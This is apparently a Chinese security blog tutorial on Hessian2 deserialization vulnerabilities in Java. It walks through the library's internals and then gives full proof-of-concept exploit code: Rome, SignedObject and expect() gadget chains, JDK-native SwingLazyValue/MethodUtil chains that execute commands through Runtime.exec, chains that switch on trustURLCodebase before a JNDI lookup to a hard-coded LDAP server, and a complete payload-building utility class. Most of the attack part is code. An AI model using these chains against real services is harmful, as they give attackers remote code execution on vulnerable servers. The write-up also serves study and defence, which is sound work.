Java反序列化Hessian篇

0x00 前言

Hessian反序列化的内容还是比较多的。

0x01 基础概念

RPC

RPC(Remote Procedure Call Protocol,远程过程调用协议),和我们熟知的RMI(Remote Method Invocation,远程方法调用)类似,以上两个协议都能通过网络调用远程服务。但RPC和RMI的不同之处就在于它以标准的二进制格式来定义请求的信息 ( 请求的对象、方法、参数等 ),这种方式传输信息的优点之一就是跨语言及操作系统。

在面向对象编程范式下,RMI其实就是RPC的一种具体实现

属性访问机制

在Java中,序列化能够将一个Java对象转换为一串便于传输的字节序列。而反序列化与之相反,能够从字节序列中恢复出一个对象。参考marshalsec.pdf,我们可以将序列化/反序列化机制分大体分为两类

  • 基于Bean属性访问机制
  • 基于Field机制

基于Bean属性访问机制

  • SnakeYAML
  • jYAML
  • YamlBeans
  • Apache Flex BlazeDS
  • Red5 IO AMF
  • Jackson
  • Castor
  • Java XMLDecoder

它们最基本的区别是如何在对象上设置属性值,它们有共同点,也有自己独有的不同处理方式。有的通过反射自动调用getter(xxx)setter(xxx)访问对象属性,有的还需要调用默认Constructor,有的处理器(指的上面列出来的那些)在反序列化对象时,如果类对象的某些方法还满足自己设定的某些要求,也会被自动调用。还有XMLDecoder这种能调用对象任意方法的处理器。有的处理器在支持多态特性时,例如某个对象的某个属性是Object、Interface、abstruct等类型,为了在反序列化时能完整恢复,需要写入具体的类型信息,这时候可以指定更多的类,在反序列化时也会自动调用具体类对象的某些方法来设置这些对象的属性值。

这种机制的攻击面比基于Field机制的攻击面大,因为它们自动调用的方法以及在支持多态特性时自动调用方法比基于Field机制要多。

基于Field机制

基于Field机制的反序列化是通过特殊的native(方法或反射(最后也是使用了native方式)直接对Field进行赋值操作的机制,而不是通过getter、setter方式对属性赋值。

  • Java Serialization
  • Kryo
  • Hessian
  • json-io
  • XStream

Hessian协议

Hessian是一个基于RPC的高性能二进制远程传输协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现,并且Hessian一般通过Web Service提供服务。在Java中,Hessian的使用方法非常简单,它使用Java语言接口定义了远程对象,并通过序列化和反序列化将对象转为Hessian二进制格式进行传输。

0x02 Hessian2反序列化流程

前置

本文以Hessian2为例,与Hessian相似又有些区别。

添加依赖:

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>

示例类 Person :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package basic;

public class Person {
//这里的Person没有实现Serializable接口
public String name = "Pax";
public transient int age = 111111; //这里的age用transient修饰符
private float weight = 1122313131;
public Person(){
this.name = name;
this.age = age;
this.weight = weight;
}

public String getName() {
return name;
}

public int getAge() {
return age;
}

public float getWeight() {
return weight;
}

@Override
public String toString() {
return "basic.Person{" +
"name='" + name + '\'' +
", age=" + age +
", weight=" + weight +
'}';
}
}

Person类没有基础Serializable接口,在Hessian序列化的时候会受到影响,但是反序列化的时候就不会。

image-20250401215813404

即使Hessian序列化受到影响,也可以通过打开_isAllowNonSerializable来实现序列化。下面给出Hessian2序列化与反序列化函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static <T> String serialize0(T object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

public static <T> T deserialize0(String string) throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
return (T) hessian2Input.readObject();
}

分析

readObjectDefinition()

进到hessian2Input.readObject()方法,由于是自定义的Person类,走到如下case:

image-20250401215250140

进入readObjectDefinition()方法,该方法更多是做一些准备和配置工作。

image-20250401220214813

  • type是反序列化的类名(以下称为目标类)
  • len是目标类的属性个数
  • factory是反序列化器工厂
  • reader是factory产生的反序列化器

Person类有三个属性,但是age属性被transient修饰,也就是不可被反序列化,所以len值为2;

观察factory的构成:

image-20250401220637513

属性有各自对应的反序列化器。还有一个陌生的成员_readResolve

观察reader是如何构造的。封装有点厚,一路步入到下图:

image-20250401223048244

先得到目标类的Class,再得到相应的反序列化器。不难想到,在该方法里会有反序列化类的黑白名单:(下图需要再步入几步)

image-20250401223301606

会过一遍黑名单:

image-20250401224016202

类已经加载了,根据类获得相应的反序列化器,最后获得的是UnsafeDeserializer:

image-20250401224238427

UnsafeDeserializer反序列化器初始化的过程也对一些属性进行操作。

image-20250401224401468

前文所说的_readResolve,其实是Method类的readResolve方法:

image-20250401224533950

之后没啥好说的,已经获得反序列化器了,接下来总封装成def并存放起来:

image-20250401224849972

readObject()

进入readObject()方法:

image-20250401221431014

这里的def是前面存入的。

跟着核心逻辑走,前文知道自定义类的反序列化器是UnsafeDeserializer,反序列化时调用其readObject()方法。

image-20250402192754861

obj即是目标类实例,接着对其调用readObject()方法:

image-20250402193118039

目标类实例先进行属性赋值,再检查resolve()实例是否与赋值后的实例相同,不同则采用resolve。

至此,Hessian2正常的反序列化流程结束。

0x03 漏洞分析

当Hessian在对HashMap进行反序列化时,会将反序列化过后的键值对put进map里。这个put方法存在几个漏洞点。

前置调试

tag=72,代表HashMap。创建反序列化器MapDeserializer,并调用其readMap()方法

image-20250402194519999

走到else分支,初始化一个HashMap类:

image-20250402195836060

最后就是调用HashMap#put():

image-20250402200313890

hashCode()

这个点很简单,不做赘述。

equals()

在put()->putval()里:

image-20250402200645581

compareTo()/compare()

这与TreeMap相关。

调试源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Main {
public static void main(String[] args) throws Exception {
TreeMap<Object, Object> treeMap = new TreeMap<>();
treeMap.put(new Comparable() {
@Override
public int compareTo(Object o) {
return 0;
}
}, null);
String s= serialize0(treeMap);
deserialize0(s);
}
}

流程与HashMap类似,具体关注put方法:

image-20250402201731244

image-20250402201746294

comparator.compare()方法,很眼熟吧。

0x04 gadget

Rome

Rome链不难理解,就是getter调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package POC;

import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.util.HashMap;
import static Utils.Utils.*;

public class Rome {
public static void main(String[] args) throws Exception{
JdbcRowSetImpl jdbcRowSetImpl = getJdbcRowSetImpl("ldap://xxx.xxx.xxx.xxx:50389/3f4ed1");
ObjectBean objectBean = new ObjectBean(JdbcRowSetImpl.class, jdbcRowSetImpl);
EqualsBean equalsBean = (EqualsBean) getFieldValue(objectBean, "_equalsBean");
ToStringBean toStringBean = (ToStringBean) getFieldValue(objectBean, "_toStringBean");
setFieldValue(equalsBean, "_obj", toStringBean);
HashMap<Object, Object> hashMap = gadgetFromHashmap(objectBean);
String s = serialize0(hashMap);
deserialize0(s);
}
}

Hessian反序列化不能实现TemplatesImpl加载字节码这一攻击,是因为TemplatesImpl类的_tfactory属性被transient修饰。在Java原生反序列化也就是调用readObject()方法里,会初始化_tfactory属性:

image-20250402202614723

但是Hessian反序列化显然不经过readObject()方法,所以_tfactory为null,自然不能实现攻击。

但是真的没法使用TemplatesImpl吗?没错,二次反序列化。

SignedObject

大体思路是,用Rome调用SignedObject#getObject(),再反序列化常规的Rome负载TemplatesImpl。

下面POC所使用的函数都被我封装到Utils类,其会在文末给出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Rome {
public static void main(String[] args) throws Exception{
SignedObject signedObject = (SignedObject) initObject(SignedObject.class);
setFieldValue(signedObject, "signature", new byte[]{111});
setFieldValue(signedObject, "content", RomeToTemplatesImplGadgetToSignedObject());

ObjectBean objectBean = new ObjectBean(SignedObject.class, signedObject);
EqualsBean equalsBean = (EqualsBean) getFieldValue(objectBean, "_equalsBean");
ToStringBean toStringBean = (ToStringBean) getFieldValue(objectBean, "_toStringBean");
setFieldValue(equalsBean, "_obj", toStringBean);
HashMap<Object, Object> hashMap = gadgetFromHashmap(objectBean);
String s = serialize0(hashMap);
deserialize0(s);
}
}

不要局限于Rome,只要是能调用getter的都可以试试,比如Hibenate等等。当然,也不要局限于SignedObject,重要的是思路。

Resin

导入依赖

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>resin</artifactId>
<version>4.0.63</version>
</dependency>

本文先不讲,提供一个思路。

Hessian2.expect()

这个思路很巧妙。

Hessian2Input#expect()会调用Hessian2的readObject()方法,然后调用obj的toString()方法。

image-20250402230222871

image-20250402230411000

往上找,选择readString(),再往上找,选择readObjectDefinition()。

要调用readObjectDefinition()方法,需要tag=67。

正常来说,一些类经过Hessian2序列化以后,第一个字符都是67,此时_offset=1,使得tag=67:

image-20250402231506301

但是,readObjectDefinition()->readString()->read()使得_offset+1,正常来说tag=48,无法走到expect()方法。

如果我往字节数组前面再添加一个67,那么就可以顺利走下去了。此时_offset=2,到了expect()方法,最后反序列化时_offset仍然为2,保证了反序列化的正常进行。

所以思路很清晰了,序列化后的字符串前添加一个67:

image-20250402232657796

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package POC;

import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.security.SignedObject;

import static Utils.Utils.*;
import static Utils.Utils.deserialize0;

public class Expect {
public static void main(String[] args) throws Exception {
SignedObject signedObject = (SignedObject) initObject(SignedObject.class);
setFieldValue(signedObject, "signature", new byte[]{111});
setFieldValue(signedObject, "content", RomeToTemplatesImplGadgetToSignedObject());
ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
String s = serialize0(toStringBean);
String s1 = add67ToBytesArray(s);
deserialize0(s1);
}
}

为什么要大费周章讲这么多呢?

因为现在我们除了hashCode这么一个入口,还多了toString,这能接下去的思路可就多了。

0x05 Hessian-jdk原生链

前面在采用二次反序列化的时候,我思考是否可以使用jdk原生类进行反序列化攻击。

Runtime

触发点是toString()方法。

MimeTypeParameterList#toString()会调用parameters属性的get方法,后者接受参数key。

parameters属性是Hashtable类型,其有子类UIDefaults,get方法如下:

image-20250404214235855

getFromHashtable方法在value属于LazyValue类型时调用createValue方法:

image-20250404214335652

UIDefaults.LazyValue子类SwingLazyValue的createValue方法可以利用:

image-20250404214610686

if分支进入,可以反射调用静态方法;else分支进入,可以进行类加载并初始化。

先谈谈后者。我们能控制的只有args参数,想到采用TrAXFilter调用构造器的时候,会调用templates属性的newTransform()方法。

但是问题在于templates只是一个接口,哪怕我强转TemplatesImpl为Templates,也是识别成TemplatesImpl。

尚未找到解决办法,只能先思考前者。

只能调用静态方法,那么想到MethodUtil.invoke方法:

image-20250404215818938

我最先构造的参数列表是:

1
Object[] utilArgs = {Runtime.class.getDeclaredMethod("exec", String.class), Runtime.getRuntime(), new Object[]{new String[]{"calc"}}};

看起来没问题,但是在SwingLazyValue#createValue方法调用反射前有个方法加载的步骤,MethodUtil.invoke方法第二个参数要求是Object类型,Runtime类不符合。

怎么办呢?简单来说我只要保证第二个参数是Object类型,那么有没有Object类可以调用的反射呢?或者说,有没有任意类都可以调用的反射呢?

有的兄弟,有的。假如被反射调用的方法是静态方法,那么无需类实例,或者任意类实例都可以反射调用该方法。

所以MethodUtil.invoke()里再嵌套一层MethodUtil.invoke(),这样成功得到了Method类m参数,接下来三个反射:

1
SwingLazyValue.creatValue()->MethodUtil.invoke()->MethodUtil.invoke()->Runtime.exec()

很好,我写下了对应的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package JDKUnserialize;

import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;

import java.lang.reflect.Method;

import static Utils.Utils.*;

public class Runtime_POC {
public static void main(String[] args) throws Exception{
Method invokeMethod = MethodUtil.class.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method execMethod = Runtime.class.getDeclaredMethod("exec", String[].class);
Object[] utilArgs = {invokeMethod, new Object(), new Object[] {execMethod, Runtime.getRuntime(), new Object[]{"calc"}}};
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", utilArgs);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("1", swingLazyValue);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
String s = serialize0(mimeTypeParameterList);
String s1 = add67ToBytesArray(s);
deserialize0(s1);
}
}

但是报错了,原因在于前面所讲的黑名单,Hessian检测到了Runtime类,调到Hessian 4.0.59版本即可。

调整了版本,还是报同一个错误:

image-20250404221144992

所以这个报错没有参考性,只能自己一步步分析逼近问题。

image-20250404221706286

参数类型错误,有点意思。猜测在调用Runtime.exec方法的时候参数错误了,exec参数有两种:

image-20250404221845181

那么我给calc字符串套上一层String数组,成功了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package JDKUnserialize;

import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;

import java.lang.reflect.Method;

import static Utils.Utils.*;

public class Runtime_POC {
public static void main(String[] args) throws Exception{
Method invokeMethod = MethodUtil.class.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method execMethod = Runtime.class.getDeclaredMethod("exec", String[].class);
Object[] utilArgs = {invokeMethod, new Object(), new Object[] {execMethod, Runtime.getRuntime(), new Object[]{new String[]{"calc"}}}};
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", utilArgs);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("1", swingLazyValue);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
String s = serialize0(mimeTypeParameterList);
String s1 = add67ToBytesArray(s);
deserialize0(s1);
}
}

就目前测试而言,jdk8u442、8u191、8u121、8u65都是要加套上一层String数组,才可以弹calc。

随口提一嘴,前面提到Hessian如果大于等于4.0.60,引入黑名单了怎么办?

用JNDI啊!

JNDI高版本绕过

JNDI低版本,Hessian高版本,可以采用JNDI打jdk原生链。

但是JDK高版本设置trustURLCodebase = false:

非常显然,高版本jdk在使用URLClassLoader加载器加载远程类之前加了个if语句检测。

根据trustURLCodebase的值是否为true的值来进行判断,它的值默认为 false。通俗的来说,jdk8u191 之后的版本通过添加trustURLCodebase 的值是否为 true这一手段,让我们无法加载 codebase,也就是无法让我们进行 URLClassLoader 的攻击了。

并且这种限制在 JDK 8u1217u1316u141 版本时加入。因此如果 JDK 高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI 代码。

而Oracle JDK 11.0.1, 8u191, 7u201, and 6u211及以后的版本,为了限制LDAP协议的JNDI利用,将系统属性com.sun.jndi.ldap.object.trustURLCodebase的默认值设置为false,即默认不允许LDAP从远程地址加载objectfactory类。

方法一,就是寻找本地可用的Factory类,在笔者的这篇文章有解析:Java反序列化之JDNI学习

方法二,就是修改环境变量trustURLCodebase = true。我找到了如下方法:

1
System.setProperty("trustURLCodebase", "true");

回顾此处:MimeTypeParameterList#toString()

image-20250405131204909

给MimeTypeParameterList里的UIDefaults放上两个key,第一个key修改环境变量,第二个key触发JNDI注入。

但是不能保证第一个key成功之后会不会报错从而影响到第二个key,所以我们先分开写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package JDKUnserialize;

import com.sun.rowset.JdbcRowSetImpl;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.naming.InitialContext;
import javax.swing.*;
import java.lang.reflect.Method;

import static Utils.Utils.*;
import static Utils.Utils.deserialize0;

public class JNDI_High_POC {
public static void main(String[] args) throws Exception{
// 修改环境变量
SwingLazyValue swingLazyValue1 = new SwingLazyValue("java.lang.System", "setProperty", new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase", "true"});
UIDefaults uiDefaults1 = new UIDefaults();
uiDefaults1.put("1", swingLazyValue1);
MimeTypeParameterList mimeTypeParameterList1 = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList1, "parameters", uiDefaults1);
String s1 = serialize0(mimeTypeParameterList1);
String poc1 = add67ToBytesArray(s1);
// 触发JNDI
Method invokeMethod = MethodUtil.class.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method JNDIMethod = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");
JdbcRowSetImpl jdbcRowSetImpl = getJdbcRowSetImpl("ldap://xxx.xxx.xxx.xxx:50389/8ba070");
Object[] utilArgs = {invokeMethod, new Object(), new Object[] {JNDIMethod, jdbcRowSetImpl, new Object[]{}}};
SwingLazyValue swingLazyValue2 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", utilArgs);
UIDefaults uiDefaults2 = new UIDefaults();
uiDefaults2.put("2", swingLazyValue2);
MimeTypeParameterList mimeTypeParameterList2 = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList2, "parameters", uiDefaults2);
String s2 = serialize0(mimeTypeParameterList2);
String poc2 = add67ToBytesArray(s2);
// 分成两步
try {
deserialize0(poc1);
} finally {
deserialize0(poc2);
}
}
}

PKCS9Attributes

PKCS9Attributes#toString->
PKCS9Attributes#getAttribute->
UIDefaults#get->
UIDefaults#getFromHashTable->
UIDefaults$LazyValue#createValue->
SwingLazyValue#createValue->
InitialContext#doLookup()

这里关注入口类:sun.security.pkcs.PKCS9Attributes 是Java原生类,属于sun.*内部包。

InitialContext#doLookup()

可以直接调用InitialContext#doLookup()。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package JDKUnserialize;

import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.naming.InitialContext;
import javax.swing.*;

import static Utils.Utils.*;

public class doLookupMehtod {
public static void main(String[] args) throws Exception{
// 修改环境变量
SwingLazyValue swingLazyValue1 = new SwingLazyValue("java.lang.System", "setProperty", new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase", "true"});
UIDefaults uiDefaults1 = new UIDefaults();
uiDefaults1.put("1", swingLazyValue1);
MimeTypeParameterList mimeTypeParameterList1 = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList1, "parameters", uiDefaults1);
String s1 = serialize0(mimeTypeParameterList1);
String poc1 = add67ToBytesArray(s1);

MimeTypeParameterList mimeTypeParameterList2 = (MimeTypeParameterList) initObject(MimeTypeParameterList.class);
UIDefaults defaults2 = new UIDefaults();
SwingLazyValue swingLazyValue2 = new SwingLazyValue("javax.naming.InitialContext","doLookup",new Object[]{"ldap://120.26.138.45:50389/8ba070"});
defaults2.put("1",swingLazyValue2);
setFieldValue(mimeTypeParameterList2,"parameters",defaults2);
String s2 = serialize0(mimeTypeParameterList2);
String poc2 = add67ToBytesArray(s2);

try{
deserialize0(poc1);
}finally {
deserialize0(poc2);
}
}
}

com.sun.org.apache.bcel.internal.util.JavaWrapper._main()

image-20250405142108534

runMain源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public void runMain(String class_name, String[] argv) throws ClassNotFoundException
{
Class cl = loader.loadClass(class_name);
Method method = null;

try {
method = cl.getMethod("_main", new Class[] { argv.getClass() });

/* Method _main is sane ?
*/
int m = method.getModifiers();
Class r = method.getReturnType();

if(!(Modifier.isPublic(m) && Modifier.isStatic(m)) ||
Modifier.isAbstract(m) || (r != Void.TYPE))
throw new NoSuchMethodException();
} catch(NoSuchMethodException no) {
System.out.println("In class " + class_name +
": public static void _main(String[] argv) is not defined");
return;
}

try {
method.invoke(null, new Object[] { argv });
} catch(Exception ex) {
ex.printStackTrace();
}
}

请读者自行探究。

0x0y Utils / 工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
package Utils;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import sun.reflect.ReflectionFactory;

import javax.sql.rowset.BaseRowSet;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;

public class Utils {
public static <T> String serialize0(T object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

public static <T> T deserialize0(String string) throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
return (T) hessian2Input.readObject();
}

public static <T> byte[] serialize1(T o) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
System.out.println(byteArrayOutputStream.toString());
return byteArrayOutputStream.toByteArray();
}

public static <T> T deserialize1(byte[] codes) throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(codes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return (T) objectInputStream.readObject();
}

public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Class clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

public static Object getFieldValue(Object object, String fieldName) throws Exception{
Class clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(object);
}

public static Object initObject(Class clazz) throws Exception {
//获取ReflectionFactory对象,它本身是单例的
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
//获取Object类的构造器
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
//根据Object构造器创建一个参数类的构造器
Constructor<?> constructorForSerialization = reflectionFactory
.newConstructorForSerialization(clazz, constructor);
constructorForSerialization.setAccessible(true);
//实例化对象
return constructorForSerialization.newInstance();
}
public static TemplatesImpl getTemplatesImpl() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:\\all_test\\test_java\\com\\Unserialize\\Rome\\target\\classes\\Calc.class"));
setFieldValue(templates, "_name", "Pax");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
return templates;
}

public static HashMap<Object, Object> gadgetFromHashmap(Object o) throws Exception {
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(1,1);
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
if (entry != null){
setFieldValue(entry,"key",o);
}
}
return hashMap;
}

public static JdbcRowSetImpl getJdbcRowSetImpl(String url) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Class c0 = BaseRowSet.class;
Field dataSourceField = c0.getDeclaredField("dataSource");
dataSourceField.setAccessible(true);
dataSourceField.set(jdbcRowSet,url);
return jdbcRowSet;
}

public static byte[] RomeToTemplatesImplGadgetToSignedObject() throws Exception {
TemplatesImpl templatesImpl = getTemplatesImpl();
ObjectBean objectBean = new ObjectBean(Templates.class, templatesImpl);
EqualsBean equalsBean = (EqualsBean) getFieldValue(objectBean, "_equalsBean");
ToStringBean toStringBean = (ToStringBean) getFieldValue(objectBean, "_toStringBean");
setFieldValue(equalsBean, "_obj", toStringBean);
HashMap<Object, Object> hashMap = gadgetFromHashmap(objectBean);
return serialize1(hashMap);
}

public static String add67ToBytesArray(String s) throws Exception {
byte[] decode = Base64.getDecoder().decode(s);
byte[] bytes = new byte[decode.length + 1];
bytes[0] = 67;
System.arraycopy(decode, 0, bytes, 1, decode.length);
return Base64.getEncoder().encodeToString(bytes);
}


}

0x0x 参考

Java反序列化之Hessian - Potat0w0

Java安全学习——Hessian反序列化漏洞 - 枫のBlog